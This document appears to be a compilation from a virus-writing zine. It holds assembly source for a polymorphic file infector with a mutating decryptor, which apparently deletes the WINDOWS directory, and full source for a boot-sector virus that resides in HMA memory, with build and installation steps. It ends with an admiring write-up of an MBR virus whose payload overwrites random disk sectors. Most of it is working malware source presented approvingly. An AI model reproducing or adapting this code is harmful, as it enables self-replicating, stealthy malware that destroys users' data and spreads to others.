Vafer db 090h,0cdh,020h ; The three original COM bytes
Cinco db 5 ; So as to randomize decryptor's CX
ComOexe db 'E' ; The mark
FCBTrucho db 0ffh ; The FCB table to delete
db 5 dup(0) ; WINDOWS dir
db 1fh ; with all its files and subdirs
db 3 ; no matter their attribs.
db '???????????'
db 19h dup(0)
Real21h dw 0,0 ; Real 21h handler
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Manipular_SFT: Modify opening mode of file and save/change attribs !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Manipular_SFT:
push bx
mov ax,1220h ; Get Job System Table
int 2fh ; in ES:DI

mov ax,1216h ; Now the File System Table


xor bh,bh ; for our handle in ES:DI
mov bl,es:[di]
int 2fh

mov cl,byte ptr es:[di+4] ; Manipulate SFT


mov byte ptr [Atributos],cl ; Get attribs
mov byte ptr es:[di+4],20h ; Attrib = 20h = file
mov byte ptr es:[di+2],2 ; Read/write access
pop bx
ret

Maldito_Jump7: ; Must I say something about


jmp Muto7 ; 128 byte-jumps still??? :)
Maldito_Jump8:
jmp Muto6
Maldito_Jump9:
jmp Muto5
Maldito_Jump10:
jmp Muto4

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! HIPOCRESIA: Mute decryptor opcode x opcode. Copy heap (between others) !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
HIPOCRESIA:
call segmentos
DamePalabraRandomica:
in ax,40h ; Encryption key
or ax,ax
je DamePalabraRandomica
mov [Clave],ax

in ax,40h ; Random number from port 40h


mov dx,ax

cmp al,36 ; Regs selector


jb Maldito_Jump7 ; with which we'll work
cmp al,72 ; in the decryptor.
jb Maldito_Jump8 ; This is the beginning, that is
cmp al,108 ; where IP which CALL left
jb Maldito_Jump9 ; on the stack will get popped
cmp al,144 ; and this way get the delta offset
jb Maldito_Jump10 ; that goes into BP
cmp al,180
jb Muto3
cmp al,216
jb Muto2

Muto1: mov bx,offset Paso1 ; Mute, mute, mute y mute.


mov [bx],0582fh ; DAS / POP AX
mov bx,offset Paso2
mov [bx],02d90h ; NOP / SUB AX
mov bx,offset Paso3
cmp dl,85d
jb Little1
cmp dl,170d
jb Little12
mov [bx],0c589h ; MOV BP,AX
jmp Sigo
Little1:mov [bx],0fb95h ; STI / XCHG BP,AX
jmp Sigo
Little12:mov [bx],0c587h ; XCHG AX,BP
jmp Sigo
Muto2: mov bx,offset Paso1
mov [bx],05ef5h ; CMC / POP SI
mov bx,offset Paso2
mov [bx],0ee81h ; SUB SI
mov bx,offset Paso3
cmp dl,85d
jb Little2
cmp dl,170d
jb Little22
mov [bx],0f589h ; MOV BP,SI
jmp Sigo
Little2:mov [bx],0ee87h ; XCHG BP,SI -Theyre different opcodes!
jmp Sigo
Little22:mov [bx],0f587h ; XCHG SI,BP Thats why we get both
jmp Sigo
Muto3: mov bx,offset Paso1
mov [bx],0593fh ; AAS / POP CX
mov bx,offset Paso2
mov [bx],0e981h ; SUB CX
mov bx,offset Paso3
cmp dl,85d
jb Little3
cmp dl,170d
jb Little32
mov [bx],0cd89h ; MOV BP,CX
jmp Sigo
Little3:mov [bx],0e987h ; XCHG BP,CX
jmp Sigo
Little32:mov [bx],0cd87h ; XCHG CX,BP
jmp Sigo
Muto4: mov bx,offset Paso1
mov [bx],05b27h ; DAA / POP BX
mov bx,offset Paso2
mov [bx],0eb81h ; SUB BX
mov bx,offset Paso3
cmp dl,85d
jb Little4
cmp dl,170d
jb Little42
mov [bx],0dd89h ; MOV BP,BX
jmp Sigo
Little4:mov [bx],0eb87h ; XCHG BP,BX
jmp Sigo
Little42:mov [bx],0dd87h ; XCHG BX,BP
jmp Sigo
Muto5: mov bx,offset Paso1
mov [bx],05fcch ; INT 3 / POP DI
mov bx,offset Paso2
mov [bx],0ef81h ; SUB DI
mov bx,offset Paso3
cmp dl,85d
jb Little5
cmp dl,170d
jb Little52
mov [bx],0fd89h ; MOV BP,DI
jmp Sigo
Little5:mov [bx],0ef87h ; XCHG BP,DI
jmp Sigo
Little52:mov [bx],0fd87h ; XCHG DI,BP
jmp Sigo
Muto6: mov bx,offset Paso1
mov [bx],05df8h ; CLC / POP BP
mov bx,offset Paso2
mov [bx],0ed81h ; SUB BP
mov bx,offset Paso3 ; 2 garbage bytes
mov cx,1
call Ygramul
Muto7: mov bx,offset Paso1
mov [bx],05af9h ; STC / POP DX
mov bx,offset Paso2
mov [bx],0ea81h ; SUB BX
mov bx,offset Paso3
cmp dl,85d
jb Little7
cmp dl,170d
jb Little72
mov [bx],0d589h ; MOV BP,DX
jmp short Sigo
Little7:mov [bx],0ea87h ; XCHG BP,DX
jmp short Sigo
Little72:mov [bx],0d587h ; XCHG DX,BP

Sigo: xor ax,ax ; So that CX is more randomic


in al,40h
mul byte ptr Cinco
cmp ax,Largor
ja Sigo ; Must be less than wanted value
xchg cx,ax
mov ax,Largor
sub ax,cx
mov bx,(offset Paso7+1) ; On their marks
mov [bx],ax
mov bx,(offset Paso8+2)
mov [bx],cx

sub ax,ax ; Divide the address from which


in al,40h ; we'll start the decryption
xchg cx,ax
mov ax,offset Jeroglifico
sub ax,cx
mov bx,(offset Paso4+2) ; Write values into memory
mov [bx],ax
mov bx,(offset Paso5+2)
mov [bx],cx

in al,40h
cmp al,85
jb Cambia3 ; Select index register
cmp al,170
jb Cambia2
mov bx,offset Paso4 ; LEA SI,[BP+XX]
mov [bx],0b68dh
mov bx,offset Paso5
mov [bx],0c681h ; ADD SI,XX
mov bx,offset Paso6
mov [bx],0b956h ; PUSH SI / MOV CX
mov bx,offset Paso9
mov [bx],03481h ; XOR WORD PTR [SI]
mov bx,offset Paso10
test al,3 ; Use other way
jz MasPoly
mov [bx],04646h ; INC SI / INC SI
jmp AlBuffer
MasPoly:mov [bx],0acach ; LODSB / LODSB
jmp AlBuffer
Cambia2:mov bx,offset Paso4 ; LEA BX,[BP+XX]
mov [bx],09e8dh
mov bx,offset Paso5
mov [bx],0c381h ; ADD BX,XX
mov bx,offset Paso6
mov [bx],0b953h ; PUSH BX / MOV CX
mov bx,offset Paso9
mov [bx],03781h ; XOR WORD PTR [BX]
mov bx,offset Paso10
mov [bx],04343h ; INC BX / INC BX
jmp AlBuffer
Cambia3:mov bx,offset Paso4 ; LEA DI,[BP+XX]
mov [bx],0be8dh
mov bx,offset Paso5
mov [bx],0c781h ; ADD DI,XX
mov bx,offset Paso6
mov [bx],0b957h ; PUSH DI / MOV CX
mov bx,offset Paso9
mov [bx],03581h ; XOR WORD PTR [DI]
mov bx,offset Paso10
mov [bx],04747h ; INC DI / INC DI

AlBuffer:
mov cx,200d ; Change opcode order in the table
call MuTabla ; named MontonDeBasura

sub dx,dx
mov bx,offset Ensuciar ; Add random garbage to the decryptor
Basureo:xor cx,cx
mov cx,[bx]
inc bx
inc bx
push bx
push dx
mov bx,[bx]
call Ygramul
pop dx
pop bx
inc bx
inc bx
inc dx
cmp dx,13
jb Basureo

mov cx,(Largor/2) ; Copy virus to heap


xor si,si
mov di,offset CopiaVir
rep movsw
mov cx,Cripted ; Encrypt it
mov si,(offset CopiaVir+Saltarlos)
mov di,si ; To use the decryptor with any
mov bx,di ; of the index registers
call Desencriptor ; chosen.
ret

Ensuciar: ; Locations of the decryptor in


dw 09,offset Paraguay ; which we'll insert garbage from
dw 04,offset Junk02 ; MontonDeBasura
dw 02,offset Junk03
dw 06,offset Junk04
dw 03,offset Junk05
dw 05,offset Junk06
dw 02,offset Junk07
dw 04,offset Junk08
dw 03,offset Junk09
dw 07,offset Junk10
dw 02,offset Junk11
dw 04,offset Junk12
dw 08,offset Junk13

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! PongoFecha: Restore victims date, and time with secs=60 !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
PongoFecha:
mov ax,5701h ; Set
db 0b9h ; mov cx,time
Time dw 0 ; Last modified time
and cl,11100000b ; Set as infected
or cl,00011110b ; 30*2=60!
db 0bah ; mov dx,date
Date dw 0 ; Last modified date
pushf ; Call handler directly
call dword ptr cs:[Real21h]
ret ; And return

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Sub-Rutine used for pointer moves up to the end !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
AlFinal:mov ax,04202h ; To the end
xor cx,cx
cwd ; XOR DX,DX
int 21h
ret

Segmentos: ; DS:=CS & ES:=CS


push cs
push cs
pop ds
pop es
ret

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! MUTABLA: Exchange the trash opcodes position !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
MuTabla:xor ax,ax
in al,40h ; Random number from port 40h
test al,1 ; Is it even?
jz YaEsPar
inc al ; If not, make it even
YaEsPar:mov si,offset MontonDeBasura ; The table
add si,ax ; Get a 2 byte-instruction
mov dx,[si] ; into DX
xor ax,ax
in al,40h ; Another random number
test al,1 ; If not even, make it even
jz Alli
inc al
Alli: mov di,offset MontonDeBasura ; Garbage 2-byte table
add di,ax ; Get the instruction
mov bx,[di] ; into bx
mov [si],bx ; Exchange its positions
mov [di],dx
loop MuTabla ; CX times
ret

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! YGRAMUL: Chose random junk-instructions and put them into memory !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Ygramul:xor di,di ; Garbage intruder
Otro: xor ax,ax ; Ygramul, the mutant in Endless Story
in al,40h ; Random number
test al,1 ; Is it even?
jz Aqui
inc al ; Nope, add one
Aqui: mov si,offset MontonDeBasura
add si,ax ; Get the instruction
mov ax,si
mov dx,[si]
mov [bx],dx ; Write it in its position
inc bx ; add bx,2 (index)
inc bx
inc di ; Update the counter
cmp di,cx ; Enough?
jne Otro
ret

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Mont¢nDeBasura: The garbage instruction which variate the decryptor !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
MontonDeBasura: ; garbage heap

; Instrucci¢n Opcode
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä Ä Ä Ä Ä ÄDLE
db 087h,0c0h ; xchg ax,ax
xchg bx,bx ; 87 DB
xchg cx,cx ; 87 C9
xchg dx,dx ; 87 D2
xchg si,si ; 87 F6
xchg di,di ; 87 FF
xchg bp,bp ; 87 ED
xchg al,al ; 86 C0
xchg bl,bl ; 86 DB
xchg cl,cl ; 86 C9
xchg dl,dl ; 86 D2
xchg ah,ah ; 86 E4
xchg bh,bh ; 86 FF
xchg ch,ch ; 86 ED
xchg dh,dh ; 86 F6
cld ; FB
int 03h ; CC
nop ; 90
nop ; 90
pushf ; 9C
popf ; 9D
push es ; 06
pop es ; 07
inc ax ; 40
dec ax ; 48
inc bx ; 43
dec bx ; 4B
inc cx ; 41
dec cx ; 49
inc dx ; 42
dec dx ; 4A
std ; FD
cld ; FC
stc ; F9
clc ; F8
jmp short $+2 ; EB 00
jc $+2 ; 72 00
jnc $+2 ; 73 00
jz $+2 ; 74 00
jnz $+2 ; 75 00
jpo $+2 ; 7B 00
jpe $+2 ; 7A 00
jno $+2 ; 71 00
jg $+2 ; 7F 00
js $+2 ; 78 00
or ax,ax ; 0B C0
or bx,bx ; 0B DB
or cx,cx ; 0B C9
or dx,dx ; 0B D2
or si,si ; 09 F6
or di,di ; 09 FF
or bp,bp ; 09 ED
or ah,ah ; 08 E4
or al,al ; 08 C0
or bh,bh ; 08 FF
or bl,bl ; 08 DB
or ch,ch ; 08 ED
or cl,cl ; 08 C9
or dh,dh ; 08 F6
or dl,dl ; 08 D2
and ax,ax ; 23 C0
and bx,bx ; 23 DB
and cx,cx ; 23 C9
and dx,dx ; 23 D2
and si,si ; 21 F6
and di,di ; 21 FF
and bp,bp ; 21 ED
and ah,ah ; 20 E4
and al,al ; 20 C0
and bh,bh ; 20 FF
and bl,bl ; 20 DB
and ch,ch ; 20 ED
and cl,cl ; 20 C9
and dh,dh ; 20 F6
and dl,dl ; 20 D2
mov ax,ax ; 89 C0
mov bx,bx ; 89 DB
mov cx,cx ; 89 C9
mov dx,dx ; 89 D2
mov si,si ; 89 F6
mov di,di ; 89 FF
mov bp,bp ; 89 ED
mov sp,sp ; 89 E4
mov ah,ah ; 88 E4
mov al,al ; 88 C0
mov bh,bh ; 88 FF
mov bl,bl ; 88 DB
mov ch,ch ; 88 ED
mov cl,cl ; 88 C9
mov dh,dh ; 88 F6
mov dl,dl ; 88 D2
cmp ax,ax ; 3B C0
cmp ax,bx ; 3B C3
cmp ax,cx ; 3B C1
cmp ax,dx ; 3B C2
cmp ax,si ; 3B C6
cmp ax,di ; 3B C7
cmp ax,bp ; 3B C5
cmp bx,ax ; 3B D8
cmp bx,bx ; 3B DB
cmp bx,cx ; 3B D9
cmp bx,dx ; 3B DA
cmp bx,si ; 3B DE
cmp bx,di ; 3B DF
cmp bx,bp ; 3B DD
cmp cx,ax ; 3B C8
cmp cx,bx ; 3B CB
cmp cx,cx ; 3B C9
cmp cx,dx ; 3B CA
cmp cx,si ; 3B CE
cmp cx,di ; 3B CF
cmp cx,bp ; 3B CD
cmp dx,ax ; 3B D0
cmp dx,bx ; 3B D3
cmp dx,cx ; 3B D1
cmp dx,dx ; 3B D2
cmp dx,si ; 3B D6
cmp dx,di ; 3B D7
cmp dx,bp ; 3B D5
cmp si,ax ; 3B F0
cmp si,bx ; 3B F3
cmp si,cx ; 3B F1
cmp si,dx ; 3B F2
cmp si,si ; 3B F6
cmp si,di ; 3B F7
cmp si,bp ; 3B F5
cmp di,ax ; 3B F8
cmp di,bx ; 3B FB
cmp di,cx ; 3B F9
cmp di,dx ; 3B FA
cmp di,si ; 3B FE
cmp di,di ; 3B FF
cmp di,bp ; 3B FD
cmp bp,ax ; 3B E8
cmp bp,bx ; 3B EB
cmp bp,cx ; 3B E9
cmp bp,dx ; 3B EA
cmp bp,si ; 3B EE
cmp bp,di ; 3B EF
cmp bp,bp ; 3B ED

Omega: ; End of virus on the file


HeavyMetal dw 0 ; Heavy Metal even in RAM ;)
Vsuck db 0 ; Vsafe's flags
HacerStealth db 1 ; Flag to make or not the stealth
Handle dw 0 ; File's key
Atributos db 0 ; File's attribs
Vieja24h dd 0 ; 24h's old handler
CopiaVir db Largor dup('P') ; Here will go the encrypted virus
Cabecera db 45d dup(0) ; We will read the file here

FakeHoste: mov ax,4c00h ; Turn back to DOS


int 21h

End Paraguay ; A virus never is finished, just


; abandonated. Now is my time ;)
comment *

Designed by "Q" the Misanthrope

This virus uses HMA memory extensively. It boots directly into the HMA by the
brute force method. It then waits till DOS loads then creates a random file
and adds an Install= statement to the CONFIG.SYS that loads the virus again
into the HMA (not bad for 512 bytes.) Also works with Windoze 95.

tasm hmaboot /m2


tlink hmaboot
exe2bin hmaboot.exe hmaboot.com
format a:/q/u
debug hmaboot.com
l 300 0 0 1
w 100 0 0 1
w 300 0 20 1
m 11e,2ff 100
w
q
copy hmaboot.com c:\BBFNJACD
edit c:\config.sys
Install=\BBFNJACD
altf
x
y

.286

qseg segment byte public 'CODE'


assume cs:qseg,es:qseg,ss:nothing,ds:qseg

top: jmp short hma_install


db 90h
db "MSDOS5.0"
dw 512
db 1
dw 1
db 2
dw 224
dw 2880
db 0F0h
dw 9
dw 18
dw 2

org 001eh

com_install proc near


mov ax,3501h ;tunnel to interrupt 21h
int 21h
mov dx,offset interrupt_1-com_install+100h
mov ah,25h ;set our interrupt 1 routine
push es
int 21h
pop ds ;set ds:dx to set int 1 back
push 00h ;es=00h
pop es
pushf ;simulate interrupt stack
mov dx,bx
push cs ;simulate stack to return to
push es ;cs:00h that terminates virus
int 01h ;set interrupt trap bit
jmp dword ptr es:[21h*04h] ;simulate int 21 and trace it
com_install endp

hma_install proc near ;brute force HMA access @ boot


pusha
mov al,0d1h ;for 8042 keyboard controller
out 64h,al
reloop: in al,64h
and al,02h
jnz reloop
mov al,0e3h ;enable HMA
out 60h,al
popa
es_si equ $+01h ;trick to get es:si point HMA
make_hma: mov bx,7c00h ;for reading boot sector
push cs ;becomes fc0eh for es
cld
pop ds ;load es:si=fc0e:7c00 in HMA
les si,dword ptr ds:[bx+offset es_si-top]
mov cx,offset previous_hook ;loop counter
lea di,word ptr ds:[si] ;source is 0000:7c00
push cs
push bx
push si
rep movsb ;move it to HMA
pop si
mov cl,low((offset previous_hook-top)/2)
rep movsw ;copy it again to HMA
mov si,1ah*04h ;hook interrupt 1ah
push si
push es
mov ax,offset interrupt_1a+7e00h-02h
call hook_interrupt ;hook interrupt into HMA
mov es,cx ;es=0 cx=low mem kernal length
mov cl,low(offset make_hma-hma_install)
mov di,0201h ;for low mem stub and int 13
push di
mov si,offset hma_install+7c00h
rep movsb ;HMA enable stub to low mem
mov al,0eah ;far jump
stosb
pop ax ;ax=0201 for int 13 read
pop si ;point it 1a to stub
push cs ;for far call return
call hook_interrupt ;set int 1a to point to stub
hma_install endp

set_cx_dx proc near ;read original bootsector


mov si,word ptr ds:[bx+11h] ;from last sector of root
shr si,04h ;directory
mov cx,word ptr ds:[bx+16h]
shl cx,01h
add cx,si
mov dh,01h
inc cx
sub cx,word ptr ds:[bx+18h]
int 13h ;read it and then jump to it
retf
set_cx_dx endp

config_line db "C:\Config.Sys",00 ;what to infect


install_name db "Install=" ;what to add
file_name db "\",00h ;random file goes here
crlf equ $+07h ;a carrage return line feed

interrupt_1 proc near ;tunnel routine to hook int 21


pusha
push sp
pop bp
push ds
push es
lds bx,dword ptr ss:[bp+10h];get instruction
cmp word ptr ds:[bx+01h],02effh
jne go_back ;was it a far indexed jump
cmp byte ptr ds:[bx-0ah],6ah
je toggle_tf ;was it our code
mov si,word ptr ds:[bx+03h] ;get index of jump
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;was it in the HMA
mov bh,high(((tail-com_install+10h)SHR 4)*10h)+01h
mov di,0ffffh ;if so then allocate HMA
mov ax,4a02h ;to load virus into
int 2fh
inc di ;di=0 if no HMA
jz toggle_tf
push si ;save location of int 21 chain
cld
mov cx,previous_hook-com_install
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;hook into int 21 chain
lea ax,word ptr ds:[di-(offset previous_hook-resident_21)]
push cs ;for far call
call hook_interrupt ;hook in
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle single step flag
go_back: pop es
pop ds
popa ;pop all varables
iret ;return
interrupt_1 endp

hook_interrupt proc near ;hook interrupt


movsw ;move ds:si to es:di
movsw ;4 bytes worth
mov word ptr ds:[si-04h],ax ;hook into ds:si es:ax
mov word ptr ds:[si-02h],es
retf ;return far
hook_interrupt endp

interrupt_21 proc near ;momentary int 21 routine


pushf
pusha
push ds
push es
push cs
pop ds
mov ax,3d42h ;open config.sys
mov dx,offset config_line+7e00h-02h
int 18h
mov bx,5700h ;get date
xchg ax,bx
jc retry_later ;jump if error
int 18h
jcxz close_it ;check if infected
inc ax ;for set date later
pusha ;save it
mov ah,48h ;allocate lower memory for
mov bx,0888h ;disk write to config.sys
mov cx,bx
int 18h
jc popa_close_it
mov es,ax ;new segment to copy virii to
mov dx,offset file_name+7e00h-02h
mov di,dx ;ds:dx points to virii name
lea si,word ptr ds:[di]
std
rep movsw ;move the virus to low mem
push es
pop ds
mov ah,5ah ;create random file
int 18h
mov dx,offset com_install+7c00h
mov bh,40h ;now write it
xchg ax,bx
mov ch,02h ;at least 512 bytes worth
int 18h
mov ah,3eh ;close it
int 18h
popa ;get handle of config.sys
pusha ;push it again
mov ax,4202h ;goto the end of config.sys
cwd
push dx
pop cx
int 18h
mov ah,40h ;write install= line and crlf
mov word ptr ds:[crlf+7e00h-02h],0a0dh
mov cl,low(crlf-install_name+02h)
mov dx,offset install_name+7e00h-02h
int 18h ;add line to config.sys
mov ah,49h ;deallocate memory
int 18h
popa_close_it: popa ;get file date
sub cx,cx ;mark that it is infected
int 18h
close_it: mov ah,3eh ;close config.sys
int 18h
set_21_back: lds dx,dword ptr ds:[previous_hook+7c00h]
jmp short set_int_21 ;unkook int 21
retry_later: jmp short jmp_pop_it
interrupt_21 endp

interrupt_1a proc near ;interrupt 1a hook at startup


pushf
pusha
mov ax,1200h ;dos loaded yet?
push ds
push es
cwd
int 2fh
inc al
jnz jmp_pop_it
mov ds,dx ;if so then unhook int 1a and
mov si,21h*04h ;hook int 21 and set int 18
mov di,offset previous_hook+7c00h
les bx,dword ptr cs:[previous_hook+7e00h-02h]
mov ds:[si-((21h-1ah)*04h)],bx
mov ds:[si-((21h-1ah)*04h)+02h],es
les bx,dword ptr ds:[si]
mov ds:[si-((21h-18h)*04h)+02h],es
mov ds:[si-((21h-18h)*04h)],bx
push cs
cld
pop es
movsw
movsw ;hook in int 21
mov dx,offset interrupt_21+7c00h
push cs
pop ds
set_int_21: mov ax,2521h ;set int 21
int 18h
jmp_pop_it: jmp short pop_it
interrupt_1a endp

org 001aeh

resident_21 proc near ;resident int 21 routine


pushf
pusha
push ds
push es
cmp ah,38h ;infect on get country code
jne pop_it
mov ah,19h ;see if drive a:
pushf
push cs
call far_jmp
or al,al
jnz pop_it ;if not then don't infect
call next_line ;get offset in HMA
next_line: pop bx
add bx,offset vbuffer-next_line
push cs
mov cx,0001h ;read boot sector
pop es
push cs
mov ax,0201h
cwd
pop ds
int 13h
jc pop_it ;any errors then leave
mov di,0000h ;move di the jmp instruction
org $-02h ;at the start of the virii
jmp $(hma_install-top)
cmp di,word ptr ds:[bx] ;check if it is infected
je pop_it ;if so then leave
mov ax,0301h ;move old boot sector
pusha
push cs ;for far call
call set_cx_dx ;write old boot sector
xchg di,word ptr ds:[bx] ;put jmp in boot sector
cld ;copy virii to boot sector
mov cx,previous_hook-com_install
lea si,word ptr ds:[bx-offset (vbuffer-com_install)]
lea di,word ptr ds:[bx+com_install-top]
rep movsb
popa ;write virus
int 13h
pop_it: pop es ;clean the stack
pop ds
popa
popf
resident_21 endp

org 001fdh

far_jmp proc near


db 0eah ;jump to previous hook
previous_hook: label double
far_jmp endp

boot_signature dw 0aa55h ;boot sector thingy

org $+02h
vbuffer label byte ;where the reads/writes are
org $+0202h
tail label byte ;the end

qseg ends
end
comment *
Virus spotlite: Padanian Warrior 1
by b0z0/iKx, Padania 1997

Virus Name : Padanian Warrior 1


AV Name : IntCE (AVP), Int_CE (F-Prot)
Origin : Padania
Type : Boot infector
Lenght : one sector

Virus Description:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
This is a very cool boot virus that infects the MBR of the hard disk
and infects any floppy disk that is accessed via DOS. This boot virus is
extremely compact and implements a lot of interesting methods and tricks.
The Padanian Warrior 1 in fact:
-> Doesn't allocate memory
-> Infects the MBR using ports
-> Makes booting from a floppy quite hard
-> Uses the 18_tech
-> Uses 386 instructions
-> Full stealth on MBR
-> Read stealth on floppy boot
-> Has a very cool method to activate the payload
-> Has a destructive payload

Of course as you may suppose due to space restriction (hey, don't say "I may
do that 25 bytes shorter" :) ) there are also some bad things in this virus,
but these will be shown later.
Now let's examine deeper every aspect of this cool virus...

Virus residency:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
The virus uses a quite good way of going resident and doing his work. In fact
the virus won't allocate as usually some memory but will rather copy itself
into an unused part of the Interrupt Vector Table. Since 200h bytes may be too
much and may cause some problems with the interrupts (since you may have to
find a place with 80h unused ints) the virus will use just a little
(3Ch bytes) part of the IVT. Here the virus will copy just the vital part of
itself (this is the interrupt handler) that will provide when necessary to
load the rest of the virus body.

The virus will be copied always from 0:300 up to 0:33Ch. Another good trick
that the virus uses is to use a piece of the copied part to call the original
interrupt vector. In fact the virus will store the old interrupt vector in the
dword at 0:338h. This of course will be used to chain the call to the original
interrupt handler (doing a jmp far). But on the other side the dword at 0:338h
is also the dword for the seg:off of the interrupt number 0CEh. So the virus
instead of doing some space-consuming calls or something will just call the
interrupt 0CEh when it will need to do a call to the original Int13h (AV
name came just from this use of the 0CEh interrupt).

As already mentioned the virus uses the 18_tech (look in Xine #2 for more
explanations about this), so it won't issue any problem using windows and
will be less AV-noticeable.

Padanian Warrior interrupt handler:


ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Since it uses 18_tech at first it needs to correct in some way the stack.
Of course the VW decided to do the work simply with an add (instead of popping
like a good school boy :) ) and this is also a good antitrace.

The handler will check for reads or writes on the first sector of disks and
floppyes. When one interesting call is encountered the virus will save 400h
bytes from the user's buffer (this is from ES:BX) to a buffer on the hard
disk (two sectors after the virus body on the disk). Then the virus will load
its entire body in the user's buffer from the hard disk and will jump (push
seg:off and do a retf) to the just readed infection/stealth part.

If the user requested a write on the MBR the virus will just change the
call to a disk reset, if a read on the MBR occours the virus will return
the original MBR, if a write on a floppy occours the virus will just leave it
to proceed and finally if a read on the floppy is requested the virus will
infect it and then will stealth the read returning a normal DOS boot.

Of course the data that is returned for the stealth is written on the
previsiously mentioned hard disk buffer. Infact at the end of the work the
virus will jump back to the virus body permanently in memory and will just
reread to ES:BX the hard disk buffer (that may have been changed also by the
stealth routines).

MBR infection and new MBR manipulation:


ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
The MBR infection is done at the boot from an infected floppy disk. To
determinate if the virus is already present on the hard disk it will check
if the first partition starts at sector 1 (very common). If it starts
somewhere else (because it is already infected or for some other user's
reason) the virus quits the MBR infection routine.

First of all the virus will save itself and the original MBR on two sectors
starting from 0,0,5 (cyl,side,sector) on the hd. Then it will change the
partition table of the 'new' MBR in this way:

ÖÄÄÄÄÒÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
º N. º TYPE º Partition start º
º º º C / H / S º
ÇÄÄÄÄ×ÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º 1 º orig º 0 / 0 / 5 º
º 2 º ext. º 0 / 0 / 4 º
ÓÄÄÄÄÐÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ

So the first entry (the orig in type means that it will just leave the same
as it was before) will point to the virus body on the disk (so it will be
loaded at each boot from that hard disk). The second partition will point to
another modified MBR copy that the virus will put on the disk. In this second
modified MBR (at 0,0,4) the virus will just leave one extended partition that
will point to the same sector (this is to again to 0,0,4).

So if the user will try to do a boot from a clean floppy disk DOS will go
in an infinite loop looking for some other extended partition :) Of course
if the virus is active the MBR stealth provides to give the saved good MBR
when needed. Just some specific versions of DOS are able to boot from an
infected PC.

To avoid some BIOS virus protections the virus uses ports to write to the
MBR. The routine to do this is incredibly short and efficent. It consist of
a first part where the virus initializes the controller to the write (this
is just a loop using a table for the initialization sequence) and then after
a pause it will send the 200h bytes that must be written.

Floppy infection and stealth:


ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
The virus won't save the original boot but it will just overwrite the
original one with the virus body. It will preserve just the original serial
number of the floppy. It won't even copy the BPB, but will just use the
one from the first generation (that moved around with the virus :) ) that is
part of the virus body. To see if the floppy is infected it will check the
payload word (this is at 20h of the boot sector). If this is different than
zero (set at formattation) then probably is already infected.

As for stealth the virus will just give to the user a copy of the sector
from the hard disk from 0,1,1 after coping the original BPB from the floppy
disk to the right place. This stealth method counts on the fact that usually
DOS is installed at 0,1,1 so there may be a good DOS boot sector to be used
for stealth.

Payload activation:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Also the payload activation is intelligent (even if, in my opinion, the
payload isn't). At every boot from the MBR the virus will decrement a payload
counter by one (at virus installation this will be initialized to 78h) and
when it will come to zero the payload will be activated. The real cool thing
is that on every succesfull floppy disk infection the payload counter will be
incremented by two, so on machines with a good traffic of floppyes (hehe, a
good virus distro :) ) the payload may never activate. On the other side on
closed machines that don't spread the virus the payload may activate faster.
This is a good idea, since it may not be a good thing to activate the payload
(and make anyone to understand that a virus is around by trashing all the
data on the hard disk) on a PC where a lot of floppyes are moving everyday
(for example in a PC shop, in a school or in an office), while an isolated
machine that doesn't give any profit to the virus may be attacked.

The payload is rather dummy: it will just go in an infinite loop where


ranomly selected sectors (4 at once) are overwritten by some random data.

Other goodies:
